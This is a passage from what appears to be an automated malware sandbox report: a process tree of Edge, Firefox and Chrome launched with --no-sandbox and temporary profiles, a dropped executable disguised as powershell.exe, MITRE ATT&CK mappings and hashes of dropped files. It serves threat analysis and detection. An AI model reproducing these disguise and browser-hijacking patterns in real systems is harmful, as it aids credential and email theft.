      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=3324,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3200 /prefetch:9
      4⤵
      PID:3212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=3352,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
      4⤵
      PID:5852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=3396,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:9
      4⤵
      PID:5848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=3440,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:1
      4⤵
      PID:2668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=3460,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:9
      4⤵
      PID:2872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=3476,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
      4⤵
      PID:2000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=3456,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:9
      4⤵
      PID:1132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=3508,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:1
      4⤵
      PID:2660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=3540,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:9
      4⤵
      PID:1416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z" --always-read-main-dll --field-trial-handle=3660,i,11408338448747134379,14891624119195993048,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:14
      4⤵
      PID:6000
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cp1vbbre.ote"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:484
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cp1vbbre.ote
      4⤵
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3984
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1976 -prefsLen 27097 -prefMapHandle 1980 -prefMapSize 270279 -ipcHandle 2052 -initialChannelId {c2baad7a-6bfb-4c11-97ef-6298955a75f8} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        5⤵
        
        PID:780
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2500 -prefsLen 27133 -prefMapHandle 2504 -prefMapSize 270279 -ipcHandle 2124 -initialChannelId {cdf541a1-50bc-4ecb-b251-8d61c830c4f5} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        5⤵
        
        PID:1692
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\247aeb79-3bc5-44cc-b761-c3aeb1fe59f7.dmp"
        5⤵
        
        PID:420
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2240 -prefsLen 27133 -prefMapHandle 2860 -prefMapSize 270279 -ipcHandle 2196 -initialChannelId {15e43610-7e4d-4d80-b5c7-899088190b03} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        5⤵
        
        PID:2584
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\40eadacd-ba76-46d0-a335-d4a9f234bc02.dmp"
        5⤵
        
        PID:5452
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2336 -prefsLen 27133 -prefMapHandle 3108 -prefMapSize 270279 -ipcHandle 2744 -initialChannelId {fcc07385-a98f-4f10-96e1-a1bbc8561e99} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        5⤵
        
        PID:2244
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\bdf056de-986c-4f48-8ea5-6d6ff42552ea.dmp"
        5⤵
        
        PID:3228
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2744 -prefsLen 27247 -prefMapHandle 3576 -prefMapSize 270279 -ipcHandle 3444 -initialChannelId {d3171c9d-8561-4e1c-a15f-50de31569698} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        5⤵
        
        PID:4944
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3888 -prefsLen 27323 -prefMapHandle 3892 -prefMapSize 270279 -jsInitHandle 3896 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3904 -initialChannelId {06e9c277-0b2c-4b29-8d40-1320e30254de} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        5⤵
        Checks processor information in registry
        
        PID:4468
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\b9228de8-a68f-48ea-a7e5-f5eca91d7d31.dmp"
        5⤵
        
        PID:5164
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3444 -prefsLen 27323 -prefMapHandle 4092 -prefMapSize 270279 -ipcHandle 4120 -initialChannelId {53ec4a57-486a-4f09-aac7-55826fb03696} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        5⤵
        
        PID:4124
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\d3ee4396-f1b2-495e-bc99-71d603a53b90.dmp"
        5⤵
        
        PID:4516
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4336 -prefsLen 27323 -prefMapHandle 4340 -prefMapSize 270279 -ipcHandle 4348 -initialChannelId {b6395bc5-1bba-4e07-8fa7-662de9edbe1a} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        5⤵
        
        PID:5860
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4696 -prefsLen 34876 -prefMapHandle 4700 -prefMapSize 270279 -jsInitHandle 4704 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1572 -initialChannelId {c97e166b-c9b9-4f28-ba0f-68fddccfcbd5} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        5⤵
        Checks processor information in registry
        
        PID:2612
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3152 -prefsLen 35010 -prefMapHandle 2852 -prefMapSize 270279 -ipcHandle 3096 -initialChannelId {1442ff13-0bdb-40be-b257-45d5b227efad} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        5⤵
        Checks processor information in registry
        
        PID:2644
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5172 -prefsLen 32900 -prefMapHandle 5176 -prefMapSize 270279 -jsInitHandle 5180 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5188 -initialChannelId {d26f19c8-6b24-4215-b94a-237348c337ce} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        5⤵
        Checks processor information in registry
        
        PID:5752
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5208 -prefsLen 32900 -prefMapHandle 5212 -prefMapSize 270279 -jsInitHandle 5216 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5224 -initialChannelId {3b897c2c-a538-43a8-b372-71216d2fac71} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        5⤵
        Checks processor information in registry
        
        PID:1812
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5644 -prefsLen 32952 -prefMapHandle 5648 -prefMapSize 270279 -jsInitHandle 5652 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4812 -initialChannelId {3d89e4a5-f3b3-40be-88a5-b46e473b5577} -parentPid 3984 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3984" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        5⤵
        Checks processor information in registry
        
        PID:3952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uvnhds0r.gh5"
    3⤵
    - Enumerates system info in registry
    PID:1220
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\uvnhds0r.gh5 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\uvnhds0r.gh5\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\uvnhds0r.gh5 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe4,0x110,0x7ffe21abdcf8,0x7ffe21abdd04,0x7ffe21abdd10
      4⤵
      PID:6132

C:\Users\Admin\AppData\Roaming\powershell.exe
C:\Users\Admin\AppData\Roaming\powershell.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4348

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z\Crashpad\settings.dat
Size 280B
SHA256 e4d79e52558e97887792266d0c200756ee651b5a8b823ebd3e0486765a113c56
MD5 138885a1d4c3acd7e5b3d70e23324420
SHA1 43d3f8198158beed08fae71940b478aa06eb8f5b
SHA512 e2a663682d1a038cd5a40b28ae15dfdd191f09422038983d746392a48d2e34fb92ce7d2553965527f75bfbd297797f1407157aef7f7654059bceef3bf01047c5
TLSH
T182D022F023303E22C00280F220E2CB3CE330E02B2C080E080000F0A80CE0C00FC8BA2F
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z\Default\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 b9dd06147caa11128951878aafe83146e5d871f484856de808d6372b34e662c0
MD5 83ef953db26b41ddeffb1ceff49eea9e
SHA1 06dc045a9eb63b3f38cf4bdef3d6dddc23787495
SHA512 d8290919acd42a234a492ac54e4d689ef548fb78618096d3b6e9b4b9d8a441a60cfe8ff26e58818147e9c993698f924413b57e663d797cf6a44b08a8aede7767
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z\Local State
Size 3KB
SHA256 00e8be663e7604231c5f474c33a856f912f346aebe04a57785d5d0d32fc579a2
MD5 17b122e91fb7b1b03c3905d7f1ba3945
SHA1 f2cf22964743fd16a584c75d915a49d64d680033
SHA512 5a05cbdf269818f93dc710e868561e1532896ecd0225e4a45217ccc1ed7c151005773db86dd16cd6fcf88148782cc5bb3c6eac5922178aa1d353d72c08e1e0a5
TLSH
T1B281983299746DB7C6F26F49B9867B135FB8716792621E48E9E81B0C00E760C2306C3B
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z\Local State
Size 4KB
SHA256 706cb0a83b249ecc032682277d68c56e8229ed4da6b1356dfb260292d9fb3f29
MD5 56986595e039149fbdab3b627a458813
SHA1 d988b6aa71138cd7afb3db34986b08071d798ca8
SHA512 b22ab7fc728c2e827113b063ab0fa8a8fc2c0e74720d4356afd7ebda5ab9b316c39d897044c419c58cae0d0aed934a8e752129dcd4bd2d0c4533211fb61327d6
SSDEEP 96:sqGNkCufcqCOM58Frh/cInURoDotovBVtDoB/PsvF/vHJZZCUMBia:3GNbbqCyooDUwf1cnkvpeU8
TLSH
T198A1863199746D778AF2AF49B9C56B076FA82137D1916F98D9EC1F0C01E77482342C27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State~RFe578a2f.TMP

Path C:\Users\Admin\AppData\Local\Temp\3pcw5qic.34z\Local State~RFe578a2f.TMP
Size 1KB
SHA256 eeb3a521fb601ff2493f61bb4100aa386554558a4f40376ce39e3e97b40e7fa2
MD5 49eaedbd56bce4b4f6a03b57d8fd2861
SHA1 d4a213424340f1e7efce43a61a9c4231724fca86
SHA512 754100f1371bf3e1a488b708fa3159a9f3b75089007a47a60bba30a7a3ec95a68d9df02f9757cce343904ef8f6f40b29d45ffdec821210f70d7e5c2ec2eb851e
TLSH
T1F7318872E8A81DB3A8A22746F28AFE471D345177C1525D4CA1EC0F0812E774C7A0AD3B
MD5 SHA1 SHA512 TLSH

Submit Download

Phantom-DebugFile.log

Path C:\Users\Admin\AppData\Local\Temp\Phantom-DebugFile.log
Size 1KB
SHA256 27d422b54a0b1039e4134a4627fa1bf1820cb9937f72ada2e52a6fef8b0c8910
MD5 15532ed9763e9d954433e83f5b1e1921
SHA1 05409cf902f2116a96c9794eb7665929afbb0a7b
SHA512 05fc3a76932c31ad553b76fd1f77c5d557b57da9744e7b56ddcef011f7e28b4c52b88cad3b0e7672fac9c2e9c5ca09c8924725d26d54ccdc67252bac6bb23e5d
TLSH
T17641240305A851BB4AC1417283766FB40E957FBB1B14D980AB7960492862F7DBEEF409
MD5 SHA1 SHA512 TLSH

Submit Download

Phantom-DebugFile.log

Path C:\Users\Admin\AppData\Local\Temp\Phantom-DebugFile.log
Size 5KB
SHA256 36299975af46a7ca4c944dd192e25935e8bfcbc999f5ff8c221a647bb40f2e7a
MD5 583bec391bae96243bdd2d8603928edf
SHA1 5cfe821c4225ad73fbc70b7f71c6f7b1d9980ede
SHA512 a04c1b9c8610e48c20ece1c2c184336381529b5124b66814dd8c831028aa08794c76a17612bf551444475de79657256d710af0ca7bcbe3fd40e0a9abbacc8407
SSDEEP 96:oNghTSdNH+R6UgzkK6YVXQHOH3KHy/HI/KGQ3GQLFiaiGQjGQ8:K4m+R63kks/KG2GuFiaiGQGP
TLSH
T100C1EF0308AC557B45D18163C773AFA40E153BBB6B94E945EB78A14D2466E2C7FCF40E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_o2x20c4u.n4y.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o2x20c4u.n4y.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Crashpad\settings.dat
Size 40B
SHA256 fe7e7393265b3adc82526f4142d8abced672ddf2a65a5d2fd4e7c006f9c31263
MD5 aaa8da62196b168515b4655cecda07ba
SHA1 623d74a4e77d810ed8ce7be89b5abcb9dddf4a9e
SHA512 f5e710e7a4bbc0f3f5e3223330295efb125518c5de54fc63a59433d7cdbe629a984db3bfb5c7fd76dffa5e88b3afb3a39503b33a1dfc1c80dc0ebe7fb90991cc
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 d9273c039e634ee446992a95f2ec50ea79f27f61a6ffd3bd338865adc9f31fc3
MD5 8519eff7757ff5e01776fc3c9e6529d8
SHA1 41efbc4641c33f6f5e7a03de1e26eb09c9128b94
SHA512 68543ff2c4d5328207916c3c090a8e0fa6fc8f57fd651c627320e54d0f012141b1227364aa3325fa0ae4011a1e342dc8a307f7d12f9d2dc9a5d552cb14473ad6
SSDEEP 3:MsFl9tlGallX0/GBikellgeGB/1VEZINGgl1e1/:/F3XGuHikeYIK4
TLSH
T18413922EBCC00E82C7CA10704C0F83B03372CB118E200343F0E0B8321E4E3E2004412C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 523a271861302c65f72e6cc899890251bd9bd7aa58bf1e2b51ed9911597baf36
MD5 17212d0906dd4e98efa7f6f2dee103e6
SHA1 f4d48b023d15ea21b361f60b13fe2d4206890d5b
SHA512 52556eea31af1e8990cb1a0a447682f8fd0693257f276a1c34ecebd51e46f6ea6e4b6897c7a756e0f4f328244905e1b17b1a8cb991c585a2ccca8e944ad32e27
SSDEEP 6:/M/v2k/FDzuSezuSeGLIivB/nHHjzuSezuSeGLIivOnZYjD5CY3UzuSezuSeGLIE:U/htWpqp9iVWpqp9iAZY/Tpqp9iAHC
TLSH
T14D4422F37C1051ABCBA4A2F50104323CDD3BD3196DCDCEDEE49409B39488F2604544A4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Default\Cache\Cache_Data\index
Size 256KB
SHA256 bea0e17e11325cf067c6694d52eb83a11f8f23129286b77dc4bf89a91b2a037c
MD5 a28a4c78786944b80fc607690eccb6c1
SHA1 4b1f7cacd19ef181429f627677906acfd802ada5
SHA512 424bbc7819c9b7b929b1dd977fda2d523494a188ed7a5105ee73e3040d2b816162bb202e3518e7d0ed37cc2ec4241e597acdda4e8f134dc658f5c1811bef5508
SSDEEP 3:LsOlNllklkXlSM11naldlXlmNtl:LsK3lPSwN
TLSH
T11144022E17C20C06CAC4027C8D47D3306328C410CB0FC38703050B612DC3BE00F4D040
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7018b8cf1c3b00c7_0

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Default\Code Cache\js\7018b8cf1c3b00c7_0
Size 306B
SHA256 da0049a0d644784eaaed3889c0b9330787533432ac77f4b47aa51bc59acc4778
MD5 b7cd4c12f433972b433b4f69da4e888c
SHA1 504b9ff0d2b843cb30b497aa936843baf40b0cd9
SHA512 a23e592e4b5ac4cd37fc9068faf533f547f9ec6c897b49f5b44ca2a3ea3f9f7a72fd1e2fdde553b4c1cb643c726ee6aaf0f74159610ff8d18e982a5ca8ad9bd2
TLSH
T1CDE02BC6CB8D0AEDCE38CD71CA6F4581466B846148AE681A9480B0524702960B9E0526
MD5 SHA1 SHA512 TLSH

Submit Download

ba678a2fbd8c358c_0

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Default\Code Cache\js\ba678a2fbd8c358c_0
Size 298B
SHA256 9e661129aec33841098b32f1151c0407407bf12d7b70ed76853928b7f818e79b
MD5 ea1d575cdb59740bc80131694889e25b
SHA1 3e921ac8c62f2b9d6e1150788b24cca7bd0ecea6
SHA512 2266bf2f46e85e563605dd46760801c183b25cc5b18621c9f6b04a7be3f99c37bc0fc7991de34c3b5f681cb26a067087bbb2e0cb6ef5147540df75cc325d8d09
TLSH
T10CE02B81C28C4F4DD32D96B7CDA602054B4E42DC29BE3603E8C4C2C573125241158922
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Default\Code Cache\wasm\index-dir\the-real-index
Size 48B
SHA256 c3079da9989249d9fc35683677ddceca3b6315402c62021624042e465c545fb4
MD5 601981055a932a7286d7f2a0191afdb5
SHA1 4e3166b3b4a0b3925950458af8657e10c6532f79
SHA512 131b013ea973a384641b565fdbf8a9f4e1a4e7cbf306c09b3de1efc0b34452daf755b99384e44e26e746ba214927745d604878fda4e2babca8ef12be84f16c76
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Default\DawnGraphiteCache\index
Size 256KB
SHA256 8a420208a719e5f0a9a03630073bc14652d8bf2c93db214ba804a8360ec606e4
MD5 7cb7eb30f83e43918d599c22cfb54aa4
SHA1 003f7c3bc5fe38883ebbf356bd55cdb6f0ae995e
SHA512 aea69218eb0f8a6e5ad1a4f2945ffb1d348e2660808b2da3b756c242c4134d3085d027d95f8990ef18e43fe732d4116ccfe3acae69e39b3d9e7c9e1eec5d87ae
SSDEEP 3:LstlNllklkXldc:LsX3lPe
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Default\GPUCache\index
Size 256KB
SHA256 4c87247407d23fad0a757f42d5952d62efd1d8c496010c9ddd6585b204b97e30
MD5 cbf7640a2c7e94627b32e7d47eb4e1b6
SHA1 372ef7df628773ebd3ed1d625a55d0465c3fe8a4
SHA512 350cecae81f6193c941e9556c37096d8825d2236d72ec6ab67b9feae06339243b56f90af1201e0845df0e4610d83a93dec54f69815d4d5e8e59695d5f7ced706
SSDEEP 3:LstlNllklkXlfnEVe:LsX3lPJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Temp\dzhp0akx.euv\Default\Preferences
Size 2KB
SHA256 f882bb682ff560fcd137cf19f84b062507116248075d8da2308cfba8e0eefbef
MD5 578366712594ab2f801fa09f48035694
SHA1 e4a9282ef26b372d6bc1cdad2da590466e42ccab
